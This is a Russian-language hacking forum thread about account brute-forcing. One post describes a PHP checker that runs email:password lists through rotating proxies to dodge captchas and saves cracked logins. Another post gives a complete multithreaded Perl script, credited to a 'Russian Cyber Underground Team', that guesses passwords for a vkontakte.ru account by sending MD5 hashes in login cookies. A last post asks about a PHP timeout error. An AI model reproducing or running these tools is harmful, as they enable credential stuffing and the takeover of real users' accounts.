учусь пхп и в целях самообучения написал брутер(чекер) Описание: *чекер написан на PHP *для запуска программы в PHP должен быть подключён модуль cURL *для обхода капчи используются прокси *программа проверят доступность прокси и только потом уже начинает через неё работать, так что можно загнать много непрочеканных прокси и подождать пока прога сама определит через какие прокси работать Использование: в папке с брутером должны находиться 3 файла: check.txt база email с паролями в виде "[email protected]:qwerty" proxy.txt список прокси в виде "123.123.123.123:8080" good.txt в этот файл будут помещаться удачно сбрученные логин с паролем скрин: скачать P.S. для подключения cURL в файле php.ini в строке ;extension=php_curl.dll убираем знак ";" удачного брута
капча после третей вылетает.Вообще капча вылетает даже если просишь выслать пароль на мыло три-четыре раза.
Code: #!/usr/bin/perl use IO::Socket; use MD5; use threads; use threads::shared; my @pass : shared; print qq( ################################################ # Brutfc Force for vkontakte.ru # # Russian Cyber Underground Team # # --=[WN13]=-- # ################################################ \n\n ); $dic = 'pass.txt'; $id= "3029068"; $mail= "mail%40mail.ru"; $thr= "10"; open (pass, "<$dic"); Next:@pass = pass(); for(0..$thr) { $trl[$_] = threads->create(\&Brutfc, $_); } for(@trl) { $_->join; } sub Brutfc { while (@pass) { $pass = shift @pass; $md5 = MD5->hexhash($pass); $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80); print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". "Host: vkontakte.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: Mozilla\r\n". "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". "Connection: close\r\n\r\n"; $rews = <$sock>; close $sock; print "$pass $rews"; if ($rews =~ /302/) { open (good, '>>good.txt'); print good "\n################################################\n"; print good "\nyou password $pass from id$id \n"; print good "md5-hash: $md5\n"; print good "\n################################################\n"; print "\n################################################\n"; print "\nyou password $pass from id$id \n"; print "md5-hash: $md5\n"; print "\n################################################\n\n"; close good; exit; } } } goto Next; sub pass { my (@mas); while (<pass>) { push @mas, $_; last if (@mas == 400); } chomp @mas; return @mas; }
пишет Fatal error: Maximum execution time of 30 seconds exceeded in Z:\home\localhost\www\check.php on line 15 работаю с денвером